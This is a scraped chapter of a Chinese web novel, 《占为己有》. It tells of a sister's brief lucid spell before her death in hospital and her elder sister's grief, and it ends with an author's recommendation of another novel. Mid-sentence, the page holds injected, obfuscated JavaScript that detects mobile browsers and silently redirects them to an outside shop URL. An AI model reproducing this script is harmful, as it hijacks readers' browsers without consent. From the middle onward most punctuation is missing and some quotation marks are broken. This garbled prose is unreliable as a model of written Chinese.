第98章
作品:《占为己有》 商璇说话时仍带着气若游丝的虚弱,面色苍白得也近乎透明,可那双眼睛明亮,裏面不再是混沌的、孩童式的天真懵懂。
这样清明的妹妹,是商楹近十年来从未见过的模样。
但不论怎么样,商璇始终都是她的妹妹,她只怔了一瞬,便连忙摇头:“不辛苦。”她重复着,“姐姐不辛苦,小璇辛苦了。”
可说着说着,她的眼底泛起一层明显的薄湿。
“姐姐,不要哭。”商璇努力抬手,想去触碰她的脸颊。
商楹先按了旁边的呼叫铃,才牵过妹妹的手,贴着自己的脸颊。
她感受着妹妹掌心微凉的温度,顺着颔首:“好,我不哭。”她深深地吸了口气,“什么都想起来了吗?小璇。”
商璇唇边绽出一个微笑,轻轻应声:“嗯,已经过去这么多年了啊……”她的指腹在姐姐的脸上抚了抚,“姐姐,你把我照顾得很好,当你的妹妹真的很幸福。”
“以后也会一直幸福下去。”商楹也笑了笑,“妈妈和外婆现在在隔壁房间休息,我去把她们喊来。”
“好。”
商秋月和石英见到商璇恢复正常,相拥着喜极而泣。
医生脚步轻缓地走进病房,正准备为商璇做常规检查,但商璇却先一步开口:“姐姐,妈妈,外婆……你们先去病房外面吧,医生单独为我检查就好。”
“我留下,好吗?”商楹温柔地问。
但商璇回以一个笑容,以作拒绝:“姐姐,就答应我的请求吧。”
商楹无奈弯了弯眼:“好。”
来到病房外的长廊,只见甘文君也第一时间赶来,商秋月和石英正拉着她,分享着这个对她们而言天大的好消息。
商楹站在一侧,她垂着眼,想着妹妹的行为,指尖无意识攥着自己的衣角。
“小楹,怎么了?”商秋月觉察到女儿的沉默,停下和甘文君的话头,关切地问了句。
商楹勉强牵了下唇:“只是觉得……好像在做梦。”她还是觉得很不真实,甚至,这份不真实感让她无端生出几分心慌。
“我们小璇和小楹以后苦尽甘来。”石英拍拍她的背。
“嗯,好,外婆说得对。”
过了会儿,医生拿着病历夹从病房裏出来。
她摘下口罩,朝着屋外等候的家属们沉稳说:“病人目前各项生命体征都很平稳,后续我们会持
续监测她的各项指标。”她的目光扫过眼前的几个人眼裏闪过一丝不忍“她现在很清醒智力和回忆都回来了这是好事在不打扰她静养的前提下你们多陪她说说话。”
“好的好的辛苦您了。”商秋月立马笑着回应。
医生摆了下手:“我还有事你们进去看看她吧。”说完这话她的脚步没作停留。
商秋月、石英和甘文君进了病房商楹却还站在原地像是被一根无形的线扯住。
她望着医生远去的身影想着妹妹特地支开她们的举动还有医生说的这番话一股寒意从脚底窜了上来顺着血管蔓延至她的全身她的心脏在这一刻似乎都停止了跳动。
她抬手按了按心口顺着自己的呼吸等那股冰寒的窒闷感稍稍褪去她才走向病房。
商璇看见她进来面上漾着浅浅的笑意软声问她:“姐姐你告诉小楼老师、路遥姐姐、小许姐姐和松柏姐姐了吗?我也想见见她们。”
“现在就跟她们说。”
“好。”
松柏一直都在医院裏守着来得最快
而路遥今天在上班乍一听见这个消息激动万分忙不迭在电话裏表示下班过后就跟着许山晴赶来。
转眼到了中午楼照影连午饭都没顾得上吃直奔中心医院。
为了不过多打扰商璇休息等她来的时候病房裏只剩下商楹和商璇姐妹俩在浅浅聊着天其余几人都去吃午餐了。
商璇靠坐在床头脑袋上戴着那顶轻薄透气的帽子见着楼照影挨着姐姐在一旁坐下她脆生生地打着招呼:“小楼老师。”
楼照影朝她翘起唇角也应了声:“小璇。”
商璇的目光落在她们戴着的对戒上她眨了眨眼忽而问起来:“小楼老师是不是没比我大几岁?”
“快三岁。”
商璇又追着问了句:“那跟姐姐比起来呢?”
楼照影余光扫过身侧默然的商楹嘴角弧度温和地道:“大她四个月左右。”她轻轻牵过商璇的手捏了捏“小璇要快点好起来。”
商璇面色红润了些:“我现在就很好。”
“你们聊我出去跟路遥打个电话。”商楹闻言只觉得氧气都在稀薄在眼泪决堤之前她费力
地吐出这句话。
也不等两人回应,她握着手机快步出去了,还带上了门,将一切都隔绝在身后。
楼照影望着紧闭的门,想着商楹刚刚的脸色,双唇抿了抿,到底没有追上去,她收回目光,重新看向病床上的人,只见妹妹一脸探究地看着她。
面前是智商正常的商璇,楼照影倏地生出一些紧张感。
她抬手拨了下自己耳边的头发,含笑问:“小璇看着我,是有什么问题想问我吗?”
“小楼老师,我看病花的这些钱……都是你出的,对吗?”商璇这双褪去不少病气的双眸裏,藏着本该就存在的通透,“宁安阁、David教授,还有现在住的VIP病房,还有看的房……”
“嗯,是我出的,但不用担心,这个花钱速度赶不上小楼老师赚钱的速度。”
“谢谢小楼老师。”
“小楼老师喜欢我的姐姐吗?”
没有丝毫犹豫,楼照影点头:“喜欢。”她一顿,更坚定地补了句,“很喜欢她,喜欢她很多年。”
她拉了拉商璇的被子,禁不住问:“不惊讶吗?你的记忆一下跳了十年,十年前的社会包容程度没有这么深,而且你那会儿才多大,可能都没有相关概念。”
“不惊讶。”
“为什么呢?”
“小楼老师,现在网上是不是有公众号可以发送定时信笺?”
“应该有吧?我没有研究过。”
“那我之后研究研究,给小楼老师准备一封定时信笺,到时候你就知道我为什么不惊讶啦。”
楼照影一口应下:“行。”
商璇唇边的笑意深了深:“那小楼老师会一直喜欢我的姐姐吗?”
“当然。”
“那也会努力让我的姐姐开心吗?”
“当然。”
“好哦,谢谢小楼老师。”得到确切的回答,商璇的那股精神劲儿也渐渐褪去,露出几分倦意。
她有些疲惫地道:“我有点困了。”
“午安。”
楼照影放轻动作,指尖按在病床的调节按钮上,看着床板缓缓向下倾斜,直到商璇舒舒服服地躺成最安稳的姿势。
看着妹妹的睡颜,再想着在外面的商楹,她的神色敛了敛,慢步离开病房。
病房外,商楹独自立在走廊尽头的窗边。
天空是洗过的湛蓝色,不见一丝云絮,她就那样静静站着,背部有些佝着,是少见的仪态不佳的模样,
而她孤单的身影嵌进这一片明亮的天光裏,仿佛下一秒,就会被穿堂而过的风,轻飘飘地吹散。
楼照影望着这一幕,迈步过去。
她来到商楹的身侧,视线一转,便撞进那双失了焦距的眼眸裏,而商楹的脸色有些发白,眉眼间都是化不开的沉郁。
商楹没有侧过头,她望着窗外掠过的飞鸟,双唇翕了翕:“楼照影。”
“嗯,我在。”
“最近我都不回月湖境了。”商楹说话的尾音在发颤,在征求着身侧之人的意见,“可以吗?”
楼照影将她单薄的身体揽进怀裏:“可以。”
她抬起左手放在商楹的脑后,回想着商璇说的那些话,她的脸颊贴了贴商楹的头发,最终没有把那些残忍的话问出口,只是说话的音色难免带着哑意:“小瓦,会有奇迹的。”
商楹紧紧抓着她腰间的衣服,闭上眼睛,没有回话。
……
商璇醒着的时候状态很好,她的思路非常清晰,甚至还可以解中考的数学难题。
跟姐姐和妈妈外婆聊天的时候,她问起柳城中学现在的录取分数线,听说现在全市中考总分已经高达九百五,而柳城中学录取分数线要八百七的时候,她瞪大眼睛,咋舌:“我们那会儿中考总分才七百五呢!”
她是商楹忠实的跟班,一直都以商璇为榜样,希望自己也可以像楹楹姐那样,顺利考进这所全省最好的中学。
最后她考了七百一,是那年镇上中学的第一名。
一家人都在病房裏,商秋月笑着打趣:“等小璇彻底好利索了,要不要重新参加中考?”
商楹在一旁面不改色地道:“不建议重新参加中考。可以先请家教在家裏补课,等基础扎实了,快高三的时候再去学校跟读,不过那样的话,得先过一轮入学考试,不过这样的考试难度不小。”
石英立刻指着大孙女,笑得合不拢嘴:“那小楹你到时候可以教小璇英语嘛,你还考了那个什么证来着。”
商秋月为妈妈补充:“英语专业八级证书。”
商璇听得眼睛都弯了起来,看着姐姐的目光裏满是崇拜:“姐姐真的好厉害。”又回到中高考的话题,“要是真的高考,那我到时候岂不是都快三十岁了,是大龄高考生。”
商秋月立刻接话:“你这哪儿算大龄,人家新闻上还说有五六十岁的人参加呢。”
这样轻快的氛围许久没有拥
有过,她说到这裏又笑了笑:“小璇明天才满二十五岁,年轻得很,不像我和你外婆,我们都半截……
“呸呸呸!妈妈可不能这么说!
阳光暖洋洋地流进房间,商楹看着空间温馨的画面,呼吸又在发沉。
她多么希望时间可以慢一点,再慢一点。
商璇在这时喊了她一声:“姐姐。
“嗯?商楹回神。
“要多笑。商璇伸出纤弱的手,指尖轻轻落在她的唇角,往上提了提。
商楹抓住她的手,定定看着她,“嗯了一声:“好,我知道。
她说着扬了下手机,露出一个歉然的笑:“你们继续聊,我去外面回个消息。
她再次站在走廊尽头的窗边,和煦的风吹着她的头发。
她低着眼,克制着自己的表情,却克制不住发抖的指尖,给楼照影发了条消息过去:【小砖,我害怕。】不等两分钟,她又把这条消息撤回,现在是下午四点钟,楼照影在工作,她不能去打扰到对方,过了好几分钟,她还是前往主治医生的办公室。
而她不知道的是,楼照影此刻正在楼家庄园裏。
楼家近日因为楼向明被赶出家的事情氛围很诡异,苏苒自知自己丈夫是个什么德行,而楼向明要求她也有骨气地离开楼家,免得被楼家人看不起,她没同意。开什么玩笑,她还有两个女儿要养,更何况楼慧秀和楼岳宁从来都没有看不起她。
这会儿苏苒见着楼照影被匆匆召回来,想起丈夫在电话裏信誓旦旦地说楼照影就是女同性恋的事情,简单打过招呼后,便牵着小女儿来到外面的球场。
楼照影来到二楼的书房,得到裏面的应允后,她轻轻推开门,缓步走入:“奶奶,您找我。
“砖砖。楼慧秀抬了抬自己的老花眼镜,镜片后的目光沉沉落在对面的晚辈身上,“奶奶这两天都没睡好。
楼照影面色关切,问:“为什么呢?
“还是你和那位商小姐的事情,我相信你们是清白的,正如相信你妈妈和你姑姑一样,可你要知道,三人成虎、众口铄金,这世上的人向来爱捕风捉影,要是被有心之人把话传歪了,对你的名声不好,对楼家的脸面,更是有损。楼慧秀说到这裏重重嘆息一声,摘下自己的老花镜,再出口的言辞裏是不容置喙的决断,“这样吧,砖砖,我
们楼家人可不是那种不懂知恩图报的人,我也找人了解过了,她妹妹现在还要在医院裏疗养一阵子,你在法国那边还有工作安排,下周一你便动身去法国吧,国内的工作你可以交给你姑姑。
楼照影放在膝头的手指微微蜷了蜷,她有些无奈:“奶奶,我去法国没问题,只是下周日是母亲节,您也清楚我是姑姑教大的,过去这些年没在她面前过这个节日,如今我好不容易回国,我早就和姑姑商量好今年要陪她过这个节的。她又露出苦涩的表情,“奶奶,我知道您的担忧和顾虑,可是姑姑有您这个妈妈,我却二十三年没有再见到我妈妈……
见她神色坦荡,半点推诿和迟疑都没有。
楼慧秀抬了抬手:“也罢,下下周一,你便动身去法国。
“好的。
从书房回来,一路穿过庭院,楼照影面色沉沉地回到自己的奔驰裏坐下。
老太太的意思再明显不过,那哪裏是想让她去法国处理工作,分明是想借着近万裏之遥,将她和商楹彻底分开。
瑞叔在前面平稳地驱车,她倚在后座的靠背上,看着窗外被车速拉成一片模糊的树影。
等到轿车彻底驶出庄园大门,彙入主干道的车流,她才解锁手机,随即看见商楹在半小时前给她发了一条消息又撤回。
她的眉心倏地拧起来,给商楹回消息过去,没人回,她又拨电话过去,没人接,她的心跳在这一刻跳得极快,不安在撞着她的胸腔。
她直接对着前面的瑞叔道:“瑞叔,去省中心医院!
赶到医院住院部,她喘着气,轻轻推开病房门的瞬间,下意识都屏住呼吸,看见商楹和商璇姐妹俩依偎着躺在病床上睡觉。
商楹这几天的觉都极浅,一点风吹草动都能惊醒。
哪怕这会儿门板和门框落下的声响很细,但她也睁开眼。
她看见楼照影脸上还没散下去的担忧和焦灼,随即睨了眼一旁沉睡的妹妹,喉间滚了滚,没出声,她小心翼翼地挪开妹妹搭在自己腰上的手,轻手轻脚地掀开被子。
她走到楼照影面前,伸手抱住楼照影。
楼照影僵了一瞬,反手把人圈进怀裏,鼻尖抵着商楹发间淡淡的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179783|187284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
消毒水味。
这两天商楹没有回月湖境,但她中午和晚上都会来医院,而这会儿再抱过她,她只觉得她的小瓦好像又瘦了些。
她抱着商楹来到隔壁房间,听见
商楹哭着道:“我问过医生了她说可能就是今晚……”
在医生的办公室裏医生语重心长地向她这个姐姐道:“医学上有一种极具特殊性的生理与意识现象叫临终觉醒指处于濒死状态、意识模糊甚至昏迷多日的患者在生命尽头的数小时或一两天内突然恢复清晰的意识、语言能力甚至能与亲友进行条理清晰的交流部分患者还会短暂恢复食欲、肢体活动能力随后迅速陷入深度昏迷并离世。因为濒死时人体肾上腺可能会突然大量分泌肾上腺素、皮质醇等应激激素这些激素能短暂激活身体的各项机能提升血压、改善脑部供血供氧
“小璇凭借强大的意志力醒来她知道自己现在处于什么状态……”
“根据过往病例而言商小姐小璇可能就在今晚了。”
她像游魂一般浑浑噩噩地回到病房那锥心刺骨的结果被她死死咬在牙关半句也没洩露给妈妈和外婆等到商璇说自己有点困她才强扯出一抹笑又特地让妈妈和外婆去休息这裏有她守着就好让两位长辈明天再来。
可现在面对着知情的楼照影她的坚忍土崩瓦解肩膀剧烈地颤抖起来低声呜咽着。
楼照影紧紧拥着她在这样残酷的现实面前眼泪也一颗颗坠落:“商楹……”她再也说不出来会有奇迹的这样的话只能无力地低唤商楹的名字。
一直到距离五月六日还有十分钟商璇才从绵长的昏睡中醒来。
病房裏亮着臺灯的柔光她的姐姐坐在床边手裏捧着故事书眼睛分外红肿。
看见她睁眼笑着对她道:“小璇你醒啦。”
商璇的胳膊沉了起来但还是努力凭借执念抬起指尖虚虚地朝着商楹的脸颊伸去想摸摸姐姐的脸:“姐姐……”
商楹连忙拉过她的手把自己的脸凑过去。
她贴着妹妹的掌心温热的眼泪无声地往下坠落她咬了咬唇鼻音浓厚地道:“姐姐在。”
商璇的声音有些轻:“手机……姐姐你可不可以把手机放在一边我想让它录下来我们姐妹俩的模样。”
“好我这就放。”
商楹胡乱抹了抹自己的泪指节蹭过湿漉漉的睫毛又沾了满手的湿意。
她把手
机放在床头柜上调整着角度机身背后抵着水杯只是手抖得厉害手机往下滑了好几次最后扯了张纸巾揉了揉垫在下面才稳住。
手机屏幕静静亮着将她们这样珍重的时刻一寸寸收进镜头裏。
商璇的掌心重新贴着姐姐的脸颊
“你放弃了京城大学放弃了很多份好的工作你还……”她的眼泪也一滴滴从眼角流出“你还放弃了你自己你的一年四季只围着我转你无时无刻不在担心我会发作你从来都没有真正开心过……”
“我很感谢这一场清醒感谢我我恢复了记忆姐姐如果没有这一场清醒我永远也不会知道为什么你总是快乐不起来我永远也不会知道你背负着的是多么沉重的压力你活得远比我之前所想象的、了解的还要艰苦啊……姐姐……”
“小璇……”商楹的掌心覆上她的手背一滴滴泪珠往下滚落落在被子上“姐姐对不起你……”
“姐姐你不要再这样想。”
“我从来都没有怪过你我也从来不后悔我当初的抉择。如果再次遇到那样的情况不而是不论多少次遇到那样的情况我都会……”她咳嗽起来唇边已有深红色血迹“我都会跳下去我相信你也会。”
商楹模糊的泪光中捕捉到那抹血红她呼吸急促地想要去扯纸巾来为商璇擦掉商璇却紧紧扣住她的手不让她动:“姐姐我没事倒是你你有没有把我的话听进去?求求你啦不要再怪自己了要不然我在天上看着你的时候要怎么办。”
“来跟我复读:商楹会平安健康幸福快乐地活下去。姐姐如果你不复读的话我就不算是开心地离开。”
被子上的水痕一大片商楹听着这句威胁脑袋重重点了点哽咽着:“商、商楹会平安健康幸福快乐地活下去。”
她什么都看不清了恳求着:“小璇我已经听话地复读了可不可以不要走……不要走……”
0点的闹钟在这时响起商璇意识在逐渐涣散低声问:“姐姐我25岁了吗?祝福我生日快乐你之前年年都会祝福我的好不好。”
“商璇生日快乐
……”
“姐姐那天看见医院水池的锦鲤觉得它们好自由把我的骨灰洒在那条河裏吧。”商璇已经没有多余的力气去扣着商楹的脸嗓音也越来越低“别担心我姐姐我只是先去做下辈子当你的姐姐的准备到时候你当我的妹妹我一定会当一个像你一样好的姐姐。”
她的唇边扬起弧度:“姐姐……再给我念一下小蚂蚁璇璇的故事吧我想听……我想听……”
“我不要……”等她念完妹妹就要走了。
商璇祈求着:“姐姐念吧……是我小小的愿望……姐姐。”
实际上商楹已经背下来这个故事她埋着头艰难地开口:“清晨的阳光像撒了一把碎金子
待她落下最后一个模糊的字眼商璇的手彻底失去力气——
2023年5月6日0点3分25岁生日当天的商璇死于柳城省中心医院。
她的面容含笑坠入一场再也不会被病痛惊扰的长眠。
作者有话说:
妹妹晚安
再推荐一下女朋友的小说:
《山青花欲燃》by洛阳bibi
文案:耀祖是个百合控在线上装女撩女拿着薛安宁的名字和照片招摇撞骗此刻网线那端正发展的女孩怀疑他男装女。
气得薛安宁对他破口大骂:“你有病吧!”
但还是接通了视频。
视频对面黑漆漆却传来一个清润好听声音:“薛安宁”
薛安宁在耀祖的疯狂的眼神暗示下面向镜头微微一笑:“是我呢姐姐。”
实则心裏早已经将人骂穿:操。
*
一年后薛安宁考上西外。
郁燃在开学返校的高铁上看见那张与记忆中照片裏容貌完全吻合的脸那次薛安宁装病整治车厢裏的爹味男。
第二次是在学校对方扮演礼貌乖巧的学妹。
第三次第四次每回见面这位学妹都有不同的面孔
后来社团出游昼夜相交的蓝调时刻薛安宁带着薄薄的酒意钻进帐篷与郁燃交颈而眠。
郁燃忍不住轻声提醒:“我喜欢女孩子。”
薛安宁不说话只轻轻揪住她的衣领将自己软凉的双唇送上去。
四目相对的瞬间有人心跳失速。
郁燃托住她的下巴加深这个吻耳边是彼此紊**缠的呼吸声和乱掉的心跳。
直到帐篷外有人靠近虚惊一场。
薛安宁那双乌亮的水眸闪烁着狡黠她低头拨开衣领吻住她的锁骨哑着嗓音小声告诉:“我好像也是。”
-我喜欢女孩子。
-我好像也是。

